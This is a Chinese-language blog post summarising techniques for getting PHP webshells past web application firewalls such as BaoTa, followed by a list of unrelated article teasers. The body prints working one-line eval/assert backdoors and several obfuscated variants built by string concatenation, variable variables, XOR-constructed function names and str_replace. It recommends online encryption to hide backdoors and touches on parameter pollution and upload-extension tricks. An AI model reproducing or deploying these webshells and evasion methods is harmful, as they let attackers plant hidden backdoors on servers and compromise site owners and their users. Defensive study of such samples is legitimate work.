WAF攻防相关知识点总结2-代码免杀绕过

WAF的检测除了有对于非正常的流量检测外还对于非正常的数据包特征进行检测

以宝塔为例

在宝塔的后台可以放置一句话木马的文件

宝塔不会对于这个文件进行拦截,但是一旦我们使用菜刀蚁剑等webshell工具去进行连接的时候,数据报中有流量特征就会被拦截

经过检测可以知道是waf对于数据报中的关键字进行了检测

绕过思路

传参绕过:waf拦截使用的是正则表达式,匹配函数的关键字

绕过思路就是把关键字的函数代码以参数值的形式进行发送

一句话木门是<?php eval($_POST['x'])?>

1.使用参数传递进行绕过
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

连接方式 ?a=ass

post: x=base64encode('后门代码')

绕过宝塔的后门代码

<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>
2.变量覆盖

可以再进行混淆

<?php
$a=$_GET['1'];
$b=$_GET['2'];
$$a($_POST['3']);
?>

连接方式1=b&2=assert

3.异或运算绕过

为了绕过waf的检测,我们可以使用异或运算来组成我们需要的后门代码。抑或运算的原理是使用两个特殊字符进行抑或获得我们需要的字符,这种一位异或使用的是特殊字符如$、@等等,如果waf采取的是字符过滤就很难拦截这种报文

举个例子

在php中我们使用!和@进行抑或即可以获得到字母a,这样的话就可以使用以异或运算绕过检测

<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>
4.代码后门加密(推荐使用)

使用加密平台加密我们的后门代码基本上可以实现通杀

PHP加密 - PHP在线加密平台 (phpjm.net)

加密代码的结果

这种在线的加密方式往往采用的是特殊的 秘钥进行加密,平台不知道秘钥的情况下就无法对于文件中的内容进行解密分析,判断其中是否有后门

5.参数污染

不的中间件解析我们传递参数的方式不同

我们可以根据中间件和waf结合的特性去向网站提交数据,如果网站接收的数据和waf拦截的方式不同,我们就可以将同一个参数提交两次,在waf拦击的地方传入合法的值,在网站接收的地方传入注入语句就可以绕过waf实现注入攻击,不过这种情况已经十分少见不常使用,作为知识补充

5.代理设置

我们在进行xss,SQL注入等等测试的时候为了找到漏洞点往往需要使用大量的的测试语句进行测试,为此我们在使用工具的时候需要配代理来绕过网站对于流量的检测从而达到我们的测试实验目的像sqlmap,xsstrike等工具都可以设置代理进行测试,使用时候查阅相关文档即可

6.其他的一些绕过手段

上传文件的时候可以使用同种类型的文件进行替代绕过检测,但是前提条件是后端支持相似文件后缀的解析,通过简单的访问就可以检测出是否支持,如果在这次,就会正常访问,如果不解析,就会出现下载等一系列其他的文件操作行为

操作系统自身的一些特点,例如文件名的结尾有点、空格等字符会自动被过滤但是代码检测的时候由于特殊字符干扰就可以绕过一些waf的检测

使用php中自带的replace函数,将代码中的关键字进替换从而绕过检测

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);

换行绕过

我们可以将php后缀改为

php

的形式,后端代码在检测的时候会有换行符干扰从而绕过检测,不过大部分waf已经对于这种进行拦截,基本失效

不过这些方式大部分已经被waf修复,实战中利用价值不是很大,作为知识的积累和补充    

写在最后

如有错误,请及时指出,感谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/632561.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JRT和springboot比较测试

想要战胜他&#xff0c;必先理解他。这两天系统的学习Maven和跑springboot工程&#xff0c;从以前只是看着复杂&#xff0c;现在到亲手体验一下&#xff0c;亲自实践的才是更可靠的了解。 第一就是首先Maven侵入代码结构&#xff0c;代码一般要按约定搞src/main/java。如果是能…

C#判断输入的数字是否符合货币格式

目录 一、用正则表达式判断输入是否符合货币格式 二、用double.TryParse()判断输入是否符合货币格式 一、用正则表达式判断输入是否符合货币格式 // 判断输入是否货币合格 using System.Text.RegularExpressions; namespace IsCurrency_Format {partial class Program{stati…

虚幻UE 特效-Niagara特效实战-雨天

回顾Niagara特效基础知识&#xff1a;虚幻UE 特效-Niagara特效初识 其他两篇实战&#xff1a;虚幻UE 特效-Niagara特效实战-火焰、烛火、虚幻UE 特效-Niagara特效实战-烟雾、喷泉 本篇笔记我们再来实战雨天&#xff0c;雨天主要用到了特效中的事件。 文章目录 一、雨天1、创建雨…

九、K8S-label和label Selector

label和label selector 标签和标签选择器 1、label 标签&#xff1a; 一个label就是一个key/value对 label 特性&#xff1a; label可以被附加到各种资源对象上一个资源对象可以定义任意数量的label同一个label可以被添加到任意数量的资源上 2、label selector 标签选择器 L…

k8s的对外服务ingress

1、service的作用体现在两个方面 &#xff08;1&#xff09;集群内部&#xff1a;不断跟踪pod的变化&#xff0c;更新deployment中的pod对象&#xff0c;基于pod的ip地址不断变化的一种服务发现机制 &#xff08;2&#xff09;集群外部&#xff1a;类似于负载均衡器&#xff…

【计算机组成与体系结构Ⅱ】Tomasulo 算法模拟和分析(实验)

实验5&#xff1a;Tomasulo 算法模拟和分析 一、实验目的 1&#xff1a;加深对指令级并行性及开发的理解。 2&#xff1a;加深对 Tomasulo 算法的理解。 3&#xff1a;掌握 Tomasulo 算法在指令流出、执行、写结果各阶段对浮点操作指令以及 load 和 store 指令进行了什么处…

MATLAB R2023a安装教程

鼠标右击软件压缩包&#xff0c;选择“解压到MATLAB.R2023a”。 打开解压后的文件夹&#xff0c;鼠标右击“R2023a_Windows_iso”选择“装载”。 鼠标右击“setup.exe”选择“以管理员身份运行”。 点击“高级选项”选择“我有文件安装密钥”。 点击“是”&#xff0c;然后点击…

【MCAL】ADC模块详解

目录 前言 正文 1.ADC模块介绍 2.关键概念及依赖的模块 2.1 ADC依赖的模块 3.ADC功能示例 3.1 ADC Buffer Access Mode示例 3.1.1配置&#xff08;Configuration&#xff09; 3.1.2 初始化&#xff08;Initialization&#xff09; 3.1.3 Adc_GetStreamLastPointer的使…

IP双栈技术

双栈技术产生 在IPv4 Internet向IPv6 Internet过渡的初期&#xff0c;IPv4网络已被大量部署&#xff0c;而IPv6网络只是散布在世界各地的一些孤岛。故而需要一些技术实现IPv6孤岛之间的互联以及IPv4节点和IPv6节点之间的互通。 双栈协议概念 双栈协议是指所有设备必须支持IP…

使用Python的pygame库实现下雪的效果

使用Python的pygame库实现下雪的效果 关于Python中pygame游戏模块的安装使用可见 https://blog.csdn.net/cnds123/article/details/119514520 先给出效果图&#xff1a; 源码如下&#xff1a; import pygame import random# 初始化pygame pygame.init()# 设置屏幕尺寸 width…

【重学C语言】四、常量、变量和基本数据类型转换

【重学C语言】四、常量、变量和基本数据类型转换 1. 常量和变量1.1 常量1.1.1 直接常量1.1.1.1 整数常量1.1.1.2 浮点常量1.1.1.3 字符常量1.1.1.4字符串常量 1.1.2符号常量 1.2 标识符1.3 变量1.3.1 变量的定义1.3.2 左值&#xff08;Lvalues&#xff09;和右值&#xff08;Rv…

一款自动化提权工具

免责声明 请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;作者不为此承担任何责任。工具来自网络&#xff0c;安全性自测&#xff0c;如有侵权请联系删除。…

1. 安装Git

01. 安装Git 最早Git是在Linux上开发的&#xff0c;很长一段时间内&#xff0c;Git也只能在Linux和Unix系统上跑。不过&#xff0c;慢慢地有人把它移植到了Windows上。现在&#xff0c;Git可以在Linux、Unix、Mac和Windows这几大平台上正常运行了。 要使用Git&#xff0c;第一…

PBR材质背光面太暗优化

图形学中漫反射光照遵循兰伯特光照模型&#xff0c;它的公式如下 其中&#xff1a; &#xff1a;漫反射光颜色 &#xff1a;入射光颜色 &#xff1a;材质的漫反射系数 &#xff1a;法线方向 &#xff1a;光源方向 由于背光面的法线方向和光源方向的点积为负数&#xff0c;因此…

1.18寒假集训

A: 解题思路&#xff1a; 这题看似很复杂&#xff0c;其实很简单&#xff0c;找规律不难发现就是输出n 1 下面是c代码&#xff1a; #include<iostream> using namespace std; int main() {int n;cin >> n;cout << n 1;return 0; } B: 解题思路&#xf…

高效解决在本地计算机运行ubuntu服务器端的jupyter lab

文章目录 问题解决方案step1step2step3step4 问题 目前&#xff0c;网上没有什么详细的关于在本地计算机上运行服务器端jupyter lab的教程&#xff0c;由于个人计算机计算资源有限&#xff0c;我们需要利用服务器端的GPU实现高效训练 这篇文章将指导您如何使用 ssh 隧道在远…

【大数据】Flink 测试利器:DataGen

Flink 测试利器&#xff1a;DataGen 1.什么是 FlinkSQL &#xff1f;2.什么是 Connector &#xff1f;3.DataGen Connector3.1 Demo3.2 支持的类型3.3 连接器属性 4.DataGen 使用案例4.1 场景一&#xff1a;生成一亿条数据到 Hive 表4.2 场景二&#xff1a;持续每秒生产 10 万条…

精选100 GPTs深度解析专题

精选100 GPTs深度解析专题 背景 1月10日&#xff0c;GPT应用商店&#xff08;GPT Store&#xff09;的正式上线&#xff0c;GPT技术的应用已经呈现爆炸性增长。目前&#xff0c;市场上已经出现了超过300万种GPTs&#xff0c;应用领域涵盖图像生成、写作、效率提升、研究分析、编…

【论文阅读】Latent Consistency Models (LDMs)、LCM-LoRa

文章目录 IntroductionPreliminariesDiffusion ModelsConsistency Models Latent Consistency ModelsConsistency Distillation in the Latent SpaceOne-Stage Guided Distillation by Solving Augmented PF-ODEAccelerating Distillation with Skipping Time StepsLatent Cons…

企业网盘的价值:为什么企业需要它?

企业网盘因其主打的文件管理协作功能&#xff0c;正好符合信息时代高速发展下企业的需要&#xff0c;能够帮助企业集中管理文件数据&#xff0c;提供便捷的文件协作服务&#xff0c;一跃成为近两年企业服务类产品榜单中的一匹黑马。 企业网盘真的这么好用吗&#xff1f;企业真…